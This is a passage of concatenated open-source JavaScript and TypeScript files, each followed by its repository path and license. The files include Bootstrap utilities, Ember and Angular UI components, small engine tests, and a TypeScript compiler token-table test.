$.fn.emulateTransitionEnd = transitionEndEmulator if (Util.supportsTransitionEnd()) { $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent() } } /** * -------------------------------------------------------------------------- * Public Util Api * -------------------------------------------------------------------------- */ const Util = { TRANSITION_END: 'bsTransitionEnd', getUID(prefix) { do { // eslint-disable-next-line no-bitwise prefix += ~~(Math.random() * MAX_UID) // "~~" acts like a faster Math.floor() here } while (document.getElementById(prefix)) return prefix }, getSelectorFromElement(element) { let selector = element.getAttribute('data-target') if (!selector || selector === '#') { selector = element.getAttribute('href') || '' } try { const $selector = $(document).find(selector) return $selector.length > 0 ? selector : null } catch (err) { return null } }, reflow(element) { return element.offsetHeight }, triggerTransitionEnd(element) { $(element).trigger(transition.end) }, supportsTransitionEnd() { return Boolean(transition) }, isElement(obj) { return (obj[0] || obj).nodeType }, typeCheckConfig(componentName, config, configTypes) { for (const property in configTypes) { if (Object.prototype.hasOwnProperty.call(configTypes, property)) { const expectedTypes = configTypes[property] const value = config[property] const valueType = value && Util.isElement(value) ? 'element' : toType(value) if (!new RegExp(expectedTypes).test(valueType)) { throw new Error( `${componentName.toUpperCase()}: ` + `Option "${property}" provided type "${valueType}" ` + `but expected type "${expectedTypes}".`) } } } } } setTransitionEndSupport() return Util })($) export default Util
nowellpoint/nowellpoint-integration-platform-parent
nowellpoint-www-app/src/main/resources/public/v4/js/bootstrap/util.js
JavaScript
apache-2.0
3,732
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import Ember from 'ember'; import Helpers from '../configs/helpers'; export default Ember.Component.extend({ showCSVFormatInput: true, DEFAULT_CSV_DELIMITER: ',', DEFAULT_CSV_QUOTE: '"', DEFAULT_CSV_ESCAPE: '\\', DEFAULT_FILE_TYPE: 'CSV', csvParams: Ember.Object.create(), inputFileTypes: Ember.computed(function () { return Helpers.getUploadFileTypes(); }), inputFileTypeCSV : Ember.computed.equal('fileFormatInfo.inputFileType.id',"CSV"), terminationChars: Ember.computed(function () { return Helpers.getAllTerminationCharacters(); }), init: function(){ this._super(...arguments); this.set('fileFormatInfo.csvParams.csvDelimiter', this.get("terminationChars").findBy( "name", this.get('DEFAULT_CSV_DELIMITER') )); this.set('fileFormatInfo.csvParams.csvQuote', this.get("terminationChars").findBy( "name", this.get('DEFAULT_CSV_QUOTE'))); this.set('fileFormatInfo.csvParams.csvEscape', this.get("terminationChars").findBy( "name", this.get('DEFAULT_CSV_ESCAPE'))); this.set("fileFormatInfo.inputFileType", this.get("inputFileTypes").findBy("name"), this.get('DEFAULT_FILE_TYPE')); }, actions: { toggleCSVFormat: function () { console.log("inside toggleCSVFormat"); this.toggleProperty('showCSVFormatInput'); }, clearColumnDelimter: function(){ this.set('fileFormatInfo.csvParams.csvDelimiter'); }, csvDelimiterSelected: function(terminator){ this.set('fileFormatInfo.csvParams.csvDelimiter', terminator); }, csvEscapeSelected: function(terminator){ this.set('fileFormatInfo.csvParams.csvEscape', terminator); }, clearEscapeCharacter: function(){ this.set('fileFormatInfo.csvParams.csvEscape'); }, csvQuoteSelected: function(terminator){ this.set('fileFormatInfo.csvParams.csvQuote', terminator); }, clearCsvQuote: function(){ this.set('fileFormatInfo.csvParams.csvQuote'); }, inputFileTypeSelected: function(fileType){ this.set("fileFormatInfo.inputFileType", fileType); }, clearInputFileType: function(){ this.set("fileFormatInfo.inputFileType"); }, } });
arenadata/ambari
contrib/views/hive20/src/main/resources/ui/app/components/csv-format-params.js
JavaScript
apache-2.0
2,964
foo.a();a.a(16);b.a.b(c);
UAK-35/wro4j
wro4j-extensions/src/test/resources/ro/isdc/wro/extensions/processor/google/expectedAdvanced/issue54.1.js
JavaScript
apache-2.0
25
chromeMyAdmin.directive("favoriteListPanel", function() { "use strict"; return { restrict: "E", templateUrl: "templates/favorite_list_panel.html" }; });
igrep/chrome_mysql_admin
app/scripts/window/directives/favorite_list_panel.js
JavaScript
apache-2.0
182
// Copyright 2014 Samsung Electronics Co., Ltd. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. var x = "abg", y = 'abh' assert(!(x == y))
tilmannOSG/jerryscript
tests/jerry-test-suite/11/11.09/11.09.01/11.09.01-011.js
JavaScript
apache-2.0
648
/* Copyright © 2015 Cask Data, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ angular.module(PKG.name + '.services') .factory('myHydratorFactory', function(GLOBALS) { function isCustomApp(artifactName) { return artifactName !== GLOBALS.etlBatch && artifactName !== GLOBALS.etlRealtime; } function isETLApp(artifactName) { return artifactName === GLOBALS.etlBatch || artifactName === GLOBALS.etlRealtime; } return { isCustomApp: isCustomApp, isETLApp: isETLApp }; });
chtyim/cdap
cdap-ui/app/services/hydrator/my-hydrator-factory.js
JavaScript
apache-2.0
1,025
//// [parserRealSource10.ts] // Copyright (c) Microsoft. All rights reserved. Licensed under the Apache License, Version 2.0. // See LICENSE.txt in the project root for complete license information. ///<reference path='typescript.ts' /> module TypeScript { export enum TokenID { // Keywords Any, Bool, Break, Case, Catch, Class, Const, Continue, Debugger, Default, Delete, Do, Else, Enum, Export, Extends, Declare, False, Finally, For, Function, Constructor, Get, If, Implements, Import, In, InstanceOf, Interface, Let, Module, New, Number, Null, Package, Private, Protected, Public, Return, Set, Static, String, Super, Switch, This, Throw, True, Try, TypeOf, Var, Void, With, While, Yield, // Punctuation Semicolon, OpenParen, CloseParen, OpenBracket, CloseBracket, OpenBrace, CloseBrace, Comma, Equals, PlusEquals, MinusEquals, AsteriskEquals, SlashEquals, PercentEquals, AmpersandEquals, CaretEquals, BarEquals, LessThanLessThanEquals, GreaterThanGreaterThanEquals, GreaterThanGreaterThanGreaterThanEquals, Question, Colon, BarBar, AmpersandAmpersand, Bar, Caret, And, EqualsEquals, ExclamationEquals, EqualsEqualsEquals, ExclamationEqualsEquals, LessThan, LessThanEquals, GreaterThan, GreaterThanEquals, LessThanLessThan, GreaterThanGreaterThan, GreaterThanGreaterThanGreaterThan, Plus, Minus, Asterisk, Slash, Percent, Tilde, Exclamation, PlusPlus, MinusMinus, Dot, DotDotDot, Error, EndOfFile, EqualsGreaterThan, Identifier, StringLiteral, RegularExpressionLiteral, NumberLiteral, Whitespace, Comment, Lim, LimFixed = EqualsGreaterThan, LimKeyword = Yield, } export var tokenTable = new TokenInfo[]; export var nodeTypeTable = new string[]; export var nodeTypeToTokTable = new number[]; export var noRegexTable = new boolean[]; noRegexTable[TokenID.Identifier] = true; noRegexTable[TokenID.StringLiteral] = true; noRegexTable[TokenID.NumberLiteral] = true; noRegexTable[TokenID.RegularExpressionLiteral] = true; noRegexTable[TokenID.This] = true; noRegexTable[TokenID.PlusPlus] = true; noRegexTable[TokenID.MinusMinus] = true; noRegexTable[TokenID.CloseParen] = true; noRegexTable[TokenID.CloseBracket] = true; noRegexTable[TokenID.CloseBrace] = true; noRegexTable[TokenID.True] = true; noRegexTable[TokenID.False] = true; export enum OperatorPrecedence { None, Comma, Assignment, Conditional, LogicalOr, LogicalAnd, BitwiseOr, BitwiseExclusiveOr, BitwiseAnd, Equality, Relational, Shift, Additive, Multiplicative, Unary, Lim } export enum Reservation { None = 0, Javascript = 1, JavascriptFuture = 2, TypeScript = 4, JavascriptFutureStrict = 8, TypeScriptAndJS = Javascript | TypeScript, TypeScriptAndJSFuture = JavascriptFuture | TypeScript, TypeScriptAndJSFutureStrict = JavascriptFutureStrict | TypeScript, } export class TokenInfo { constructor (public tokenId: TokenID, public reservation: Reservation, public binopPrecedence: number, public binopNodeType: number, public unopPrecedence: number, public unopNodeType: number, public text: string, public ers: ErrorRecoverySet) { } } function setTokenInfo(tokenId: TokenID, reservation: number, binopPrecedence: number, binopNodeType: number, unopPrecedence: number, unopNodeType: number, text: string, ers: ErrorRecoverySet) { if (tokenId !== undefined) { tokenTable[tokenId] = new TokenInfo(tokenId, reservation, binopPrecedence, binopNodeType, unopPrecedence, unopNodeType, text, ers); if (binopNodeType != NodeType.None) { nodeTypeTable[binopNodeType] = text; nodeTypeToTokTable[binopNodeType] = tokenId; } if (unopNodeType != NodeType.None) { nodeTypeTable[unopNodeType] = text; } } } setTokenInfo(TokenID.Any, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "any", ErrorRecoverySet.PrimType); setTokenInfo(TokenID.Bool, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "boolean", ErrorRecoverySet.PrimType); setTokenInfo(TokenID.Break, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "break", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Case, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "case", ErrorRecoverySet.SCase); setTokenInfo(TokenID.Catch, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "catch", ErrorRecoverySet.Catch); setTokenInfo(TokenID.Class, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "class", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Const, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "const", ErrorRecoverySet.Var); setTokenInfo(TokenID.Continue, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "continue", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Debugger, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.Debugger, "debugger", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Default, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "default", ErrorRecoverySet.SCase); setTokenInfo(TokenID.Delete, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.Delete, "delete", ErrorRecoverySet.Prefix); setTokenInfo(TokenID.Do, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "do", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Else, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "else", ErrorRecoverySet.Else); setTokenInfo(TokenID.Enum, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "enum", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Export, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "export", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Extends, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "extends", ErrorRecoverySet.None); setTokenInfo(TokenID.Declare, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "declare", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.False, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "false", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Finally, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "finally", ErrorRecoverySet.Catch); setTokenInfo(TokenID.For, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "for", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Function, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "function", ErrorRecoverySet.Func); setTokenInfo(TokenID.Constructor, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "constructor", ErrorRecoverySet.Func); setTokenInfo(TokenID.Get, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "get", ErrorRecoverySet.Func); setTokenInfo(TokenID.Set, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "set", ErrorRecoverySet.Func); setTokenInfo(TokenID.If, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "if", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Implements, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "implements", ErrorRecoverySet.None); setTokenInfo(TokenID.Import, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "import", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.In, Reservation.TypeScriptAndJS, OperatorPrecedence.Relational, NodeType.In, OperatorPrecedence.None, NodeType.None, "in", ErrorRecoverySet.None); setTokenInfo(TokenID.InstanceOf, Reservation.TypeScriptAndJS, OperatorPrecedence.Relational, NodeType.InstOf, OperatorPrecedence.None, NodeType.None, "instanceof", ErrorRecoverySet.BinOp); setTokenInfo(TokenID.Interface, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "interface", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Let, Reservation.JavascriptFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "let", ErrorRecoverySet.None); setTokenInfo(TokenID.Module, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "module", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.New, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "new", ErrorRecoverySet.PreOp); setTokenInfo(TokenID.Number, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "number", ErrorRecoverySet.PrimType); setTokenInfo(TokenID.Null, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "null", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Package, Reservation.JavascriptFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "package", ErrorRecoverySet.None); setTokenInfo(TokenID.Private, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "private", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Protected, Reservation.JavascriptFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "protected", ErrorRecoverySet.None); setTokenInfo(TokenID.Public, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "public", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Return, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "return", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Static, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "static", ErrorRecoverySet.None); setTokenInfo(TokenID.String, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "string", ErrorRecoverySet.PrimType); setTokenInfo(TokenID.Super, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "super", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Switch, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "switch", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.This, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "this", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Throw, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "throw", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.True, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "true", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Try, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "try", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.TypeOf, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.Typeof, "typeof", ErrorRecoverySet.Prefix); setTokenInfo(TokenID.Var, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "var", ErrorRecoverySet.Var); setTokenInfo(TokenID.Void, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.Void, "void", ErrorRecoverySet.Prefix); setTokenInfo(TokenID.With, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.With, "with", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.While, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "while", ErrorRecoverySet.While); setTokenInfo(TokenID.Yield, Reservation.JavascriptFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "yield", ErrorRecoverySet.None); setTokenInfo(TokenID.Identifier, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "identifier", ErrorRecoverySet.ID); setTokenInfo(TokenID.NumberLiteral, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "numberLiteral", ErrorRecoverySet.Literal); setTokenInfo(TokenID.RegularExpressionLiteral, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "regex", ErrorRecoverySet.RegExp); setTokenInfo(TokenID.StringLiteral, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "qstring", ErrorRecoverySet.Literal); // Non-operator non-identifier tokens setTokenInfo(TokenID.Semicolon, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, ";", ErrorRecoverySet.SColon); // ; setTokenInfo(TokenID.CloseParen, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, ")", ErrorRecoverySet.RParen); // ) setTokenInfo(TokenID.CloseBracket, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "]", ErrorRecoverySet.RBrack); // ] setTokenInfo(TokenID.OpenBrace, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "{", ErrorRecoverySet.LCurly); // { setTokenInfo(TokenID.CloseBrace, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "}", ErrorRecoverySet.RCurly); // } setTokenInfo(TokenID.DotDotDot, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "...", ErrorRecoverySet.None); // ... // Operator non-identifier tokens setTokenInfo(TokenID.Comma, Reservation.None, OperatorPrecedence.Comma, NodeType.Comma, OperatorPrecedence.None, NodeType.None, ",", ErrorRecoverySet.Comma); // , setTokenInfo(TokenID.Equals, Reservation.None, OperatorPrecedence.Assignment, NodeType.Asg, OperatorPrecedence.None, NodeType.None, "=", ErrorRecoverySet.Asg); // = setTokenInfo(TokenID.PlusEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgAdd, OperatorPrecedence.None, NodeType.None, "+=", ErrorRecoverySet.BinOp); // += setTokenInfo(TokenID.MinusEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgSub, OperatorPrecedence.None, NodeType.None, "-=", ErrorRecoverySet.BinOp); // -= setTokenInfo(TokenID.AsteriskEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgMul, OperatorPrecedence.None, NodeType.None, "*=", ErrorRecoverySet.BinOp); // *= setTokenInfo(TokenID.SlashEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgDiv, OperatorPrecedence.None, NodeType.None, "/=", ErrorRecoverySet.BinOp); // /= setTokenInfo(TokenID.PercentEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgMod, OperatorPrecedence.None, NodeType.None, "%=", ErrorRecoverySet.BinOp); // %= setTokenInfo(TokenID.AmpersandEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgAnd, OperatorPrecedence.None, NodeType.None, "&=", ErrorRecoverySet.BinOp); // &= setTokenInfo(TokenID.CaretEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgXor, OperatorPrecedence.None, NodeType.None, "^=", ErrorRecoverySet.BinOp); // ^= setTokenInfo(TokenID.BarEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgOr, OperatorPrecedence.None, NodeType.None, "|=", ErrorRecoverySet.BinOp); // |= setTokenInfo(TokenID.LessThanLessThanEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgLsh, OperatorPrecedence.None, NodeType.None, "<<=", ErrorRecoverySet.BinOp); // <<= setTokenInfo(TokenID.GreaterThanGreaterThanEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgRsh, OperatorPrecedence.None, NodeType.None, ">>=", ErrorRecoverySet.BinOp); // >>= setTokenInfo(TokenID.GreaterThanGreaterThanGreaterThanEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgRs2, OperatorPrecedence.None, NodeType.None, ">>>=", ErrorRecoverySet.BinOp); // >>>= setTokenInfo(TokenID.Question, Reservation.None, OperatorPrecedence.Conditional, NodeType.ConditionalExpression, OperatorPrecedence.None, NodeType.None, "?", ErrorRecoverySet.BinOp); // ? setTokenInfo(TokenID.Colon, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, ":", ErrorRecoverySet.Colon); // : setTokenInfo(TokenID.BarBar, Reservation.None, OperatorPrecedence.LogicalOr, NodeType.LogOr, OperatorPrecedence.None, NodeType.None, "||", ErrorRecoverySet.BinOp); // || setTokenInfo(TokenID.AmpersandAmpersand, Reservation.None, OperatorPrecedence.LogicalAnd, NodeType.LogAnd, OperatorPrecedence.None, NodeType.None, "&&", ErrorRecoverySet.BinOp); // && setTokenInfo(TokenID.Bar, Reservation.None, OperatorPrecedence.BitwiseOr, NodeType.Or, OperatorPrecedence.None, NodeType.None, "|", ErrorRecoverySet.BinOp); // | setTokenInfo(TokenID.Caret, Reservation.None, OperatorPrecedence.BitwiseExclusiveOr, NodeType.Xor, OperatorPrecedence.None, NodeType.None, "^", ErrorRecoverySet.BinOp); // ^ setTokenInfo(TokenID.And, Reservation.None, OperatorPrecedence.BitwiseAnd, NodeType.And, OperatorPrecedence.None, NodeType.None, "&", ErrorRecoverySet.BinOp); // & setTokenInfo(TokenID.EqualsEquals, Reservation.None, OperatorPrecedence.Equality, NodeType.Eq, OperatorPrecedence.None, NodeType.None, "==", ErrorRecoverySet.BinOp); // == setTokenInfo(TokenID.ExclamationEquals, Reservation.None, OperatorPrecedence.Equality, NodeType.Ne, OperatorPrecedence.None, NodeType.None, "!=", ErrorRecoverySet.BinOp); // != setTokenInfo(TokenID.EqualsEqualsEquals, Reservation.None, OperatorPrecedence.Equality, NodeType.Eqv, OperatorPrecedence.None, NodeType.None, "===", ErrorRecoverySet.BinOp); // === setTokenInfo(TokenID.ExclamationEqualsEquals, Reservation.None, OperatorPrecedence.Equality, NodeType.NEqv, OperatorPrecedence.None, NodeType.None, "!==", ErrorRecoverySet.BinOp); // !== setTokenInfo(TokenID.LessThan, Reservation.None, OperatorPrecedence.Relational, NodeType.Lt, OperatorPrecedence.None, NodeType.None, "<", ErrorRecoverySet.BinOp); // < setTokenInfo(TokenID.LessThanEquals, Reservation.None, OperatorPrecedence.Relational, NodeType.Le, OperatorPrecedence.None, NodeType.None, "<=", ErrorRecoverySet.BinOp); // <= setTokenInfo(TokenID.GreaterThan, Reservation.None, OperatorPrecedence.Relational, NodeType.Gt, OperatorPrecedence.None, NodeType.None, ">", ErrorRecoverySet.BinOp); // > setTokenInfo(TokenID.GreaterThanEquals, Reservation.None, OperatorPrecedence.Relational, NodeType.Ge, OperatorPrecedence.None, NodeType.None, ">=", ErrorRecoverySet.BinOp); // >= setTokenInfo(TokenID.LessThanLessThan, Reservation.None, OperatorPrecedence.Shift, NodeType.Lsh, OperatorPrecedence.None, NodeType.None, "<<", ErrorRecoverySet.BinOp); // << setTokenInfo(TokenID.GreaterThanGreaterThan, Reservation.None, OperatorPrecedence.Shift, NodeType.Rsh, OperatorPrecedence.None, NodeType.None, ">>", ErrorRecoverySet.BinOp); // >> setTokenInfo(TokenID.GreaterThanGreaterThanGreaterThan, Reservation.None, OperatorPrecedence.Shift, NodeType.Rs2, OperatorPrecedence.None, NodeType.None, ">>>", ErrorRecoverySet.BinOp); // >>> setTokenInfo(TokenID.Plus, Reservation.None, OperatorPrecedence.Additive, NodeType.Add, OperatorPrecedence.Unary, NodeType.Pos, "+", ErrorRecoverySet.AddOp); // + setTokenInfo(TokenID.Minus, Reservation.None, OperatorPrecedence.Additive, NodeType.Sub, OperatorPrecedence.Unary, NodeType.Neg, "-", ErrorRecoverySet.AddOp); // - setTokenInfo(TokenID.Asterisk, Reservation.None, OperatorPrecedence.Multiplicative, NodeType.Mul, OperatorPrecedence.None, NodeType.None, "*", ErrorRecoverySet.BinOp); // * setTokenInfo(TokenID.Slash, Reservation.None, OperatorPrecedence.Multiplicative, NodeType.Div, OperatorPrecedence.None, NodeType.None, "/", ErrorRecoverySet.BinOp); // / setTokenInfo(TokenID.Percent, Reservation.None, OperatorPrecedence.Multiplicative, NodeType.Mod, OperatorPrecedence.None, NodeType.None, "%", ErrorRecoverySet.BinOp); // % setTokenInfo(TokenID.Tilde, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.Not, "~", ErrorRecoverySet.PreOp); // ~ setTokenInfo(TokenID.Exclamation, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.LogNot, "!", ErrorRecoverySet.PreOp); // ! setTokenInfo(TokenID.PlusPlus, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.IncPre, "++", ErrorRecoverySet.PreOp); // ++ setTokenInfo(TokenID.MinusMinus, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.DecPre, "--", ErrorRecoverySet.PreOp); // -- setTokenInfo(TokenID.OpenParen, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "(", ErrorRecoverySet.LParen); // ( setTokenInfo(TokenID.OpenBracket, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "[", ErrorRecoverySet.LBrack); // [ setTokenInfo(TokenID.Dot, Reservation.None, OperatorPrecedence.Unary, NodeType.None, OperatorPrecedence.None, NodeType.None, ".", ErrorRecoverySet.Dot); // . setTokenInfo(TokenID.EndOfFile, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "<EOF>", ErrorRecoverySet.EOF); // EOF setTokenInfo(TokenID.EqualsGreaterThan, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "=>", ErrorRecoverySet.None); // => export function lookupToken(tokenId: TokenID): TokenInfo { return tokenTable[tokenId]; } export enum TokenClass { Punctuation, Keyword, Operator, Comment, Whitespace, Identifier, Literal, } export class SavedToken { constructor (public tok: Token, public minChar: number, public limChar: number) { } } export class Token { constructor (public tokenId: TokenID) { } public toString() { return "token: " + this.tokenId + " " + this.getText() + " (" + (<any>TokenID)._map[this.tokenId] + ")"; } public print(line: number, outfile) { outfile.WriteLine(this.toString() + ",on line" + line); } public getText(): string { return tokenTable[this.tokenId].text; } public classification(): TokenClass { if (this.tokenId <= TokenID.LimKeyword) { return TokenClass.Keyword; } else { var tokenInfo = lookupToken(this.tokenId); if (tokenInfo != undefined) { if ((tokenInfo.unopNodeType != NodeType.None) || (tokenInfo.binopNodeType != NodeType.None)) { return TokenClass.Operator; } } } return TokenClass.Punctuation; } } export class 